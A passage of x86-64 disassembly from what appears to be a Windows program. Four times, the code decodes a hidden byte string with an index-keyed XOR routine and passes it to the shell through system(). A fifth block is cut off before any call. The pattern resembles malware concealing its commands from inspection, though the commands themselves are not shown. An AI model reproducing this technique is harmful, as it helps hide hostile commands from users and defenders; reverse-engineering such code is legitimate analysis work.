punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400142c0
cmp r8d, 0x2e
jge 0x140014400
movsxd rax, r8d
lea r9, [rbp + 0x210]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x1400143d0
lea rcx, [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a4830]
movups xmmword [rbp + 0x9f0], xmm0
movups xmm0, xmmword [0x1400a4850]
movups xmmword [rbp + 0xa10], xmm0
movups xmm0, xmmword [0x1400a4870]
movups xmm1, xmmword [0x1400a4840]
movups xmmword [rbp + 0xa30], xmm0
movups xmmword [rbp + 0xa00], xmm1
mov eax, dword [0x1400a4888]
movsd xmm0, qword [0x1400a4880]
movups xmm1, xmmword [0x1400a4860]
mov dword [rbp + 0xa48], eax
movsd qword [rbp + 0xa40], xmm0
movups xmmword [rbp + 0xa20], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x1400145c3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x9f4]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x1400144c0
cmp r8d, 0x5c
jge 0x140014600
movsxd rax, r8d
lea r9, [rbp + 0x9f0]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400145d0
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a4cd0]
movups xmm0, xmmword [0x1400a4cc0]
movups xmmword [rbp + 0x990], xmm1
movups xmmword [rbp + 0x980], xmm0
movzx eax, word [0x1400a4d20]
movups xmm1, xmmword [0x1400a4cf0]
movups xmm0, xmmword [0x1400a4ce0]
mov word [rbp + 0x9e0], ax
movups xmmword [rbp + 0x9b0], xmm1
movups xmmword [rbp + 0x9a0], xmm0
movzx eax, byte [0x1400a4d22]
movups xmm1, xmmword [0x1400a4d10]
movups xmm0, xmmword [0x1400a4d00]
mov byte [rbp + 0x9e2], al
movups xmmword [rbp + 0x9d0], xmm1
movups xmmword [rbp + 0x9c0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x1400147d3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x984]
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400146d0
cmp r8d, 0x63
jge 0x140014810
movsxd rax, r8d
lea r9, [rbp + 0x980]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x1400147e0
lea rcx, [rbp + 0x980]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a3d80]
movups xmmword [rbp + 0x1550], xmm0
movups xmm0, xmmword [0x1400a3da0]
movups xmmword [rbp + 0x1570], xmm0
movups xmm0, xmmword [0x1400a3dc0]
movups xmm1, xmmword [0x1400a3d90]
movups xmmword [rbp + 0x1590], xmm0
movups xmmword [rbp + 0x1560], xmm1
movsd xmm0, qword [0x1400a3dd0]
movups xmm1, xmmword [0x1400a3db0]
movsd qword [rbp + 0x15a0], xmm0
movups xmmword [rbp + 0x1580], xmm1
cmp r14d, 2
jl 0x1400149bd
movdqa xmm5, xmmword [0x1400a6890]
mov edx, edi
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1554]
mov r8d, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x58
jl 0x1400148c0
jmp 0x140014a00
lea r9, [rbp + 0x1550]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x58
jl 0x1400149d0
lea rcx, [rbp + 0x1550]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm1, xmmword [0x1400a44a0]
movups xmm0, xmmword [0x1400a4490]
movups xmmword [rbp + 0x1470], xmm1
movups xmmword [rbp + 0x1460], xmm0
movups xmm1, xmmword [0x1400a44c0]
movups xmm0, xmmword [0x1400a44b0]
movups xmmword [rbp + 0x1490], xmm1
movups xmmword [rbp + 0x1480], xmm0
movzx eax, byte [0x1400a44f0]
movups xmm1, xmmword [0x1400a44e0]
movups xmm0, xmmword [0x1400a44d0]
mov byte [rbp + 0x14c0], al
movups xmmword [rbp + 0x14b0], xmm1
movups xmmword [rbp + 0x14a0], xmm0
mov r8d, edi
cmp r14d, 2
jl 0x140014bc3
movdqa xmm5, xmmword [0x1400a6890]
movdqa xmm4, xmmword [0x1400a7280]
movd xmm6, esi
movdqa xmm7, xmmword [0x1400a6cb0]
movd xmm8, r15d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0x1464]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400a7260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x140014ac0
cmp r8d, 0x61
jge 0x140014c00
movsxd rax, r8d
lea r9, [rbp + 0x1460]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x61
jl 0x140014bd0
lea rcx, [rbp + 0x1460]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400a5148]
movups xmmword [rbp + 0x3f0], xmm0
movzx eax, word [0x1400a5180]
movups xmm0, xmmword [0x1400a5168]
mov word [rbp + 0x428], ax
movups xmmword [rbp + 0x410], xmm0
movzx eax, byte [0x1400a5182]
movsd xmm0, qword [0x1400a5178]
movups xmm1, xmmword [0x1400a5158]
mov byte [rbp + 0x42a], al
movsd qword [rbp + 0x420], xmm0
movups xmmword [rbp + 0x400], xmm1
mov r8d, edi
cmp r14d, 2
jl 0x140014db3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3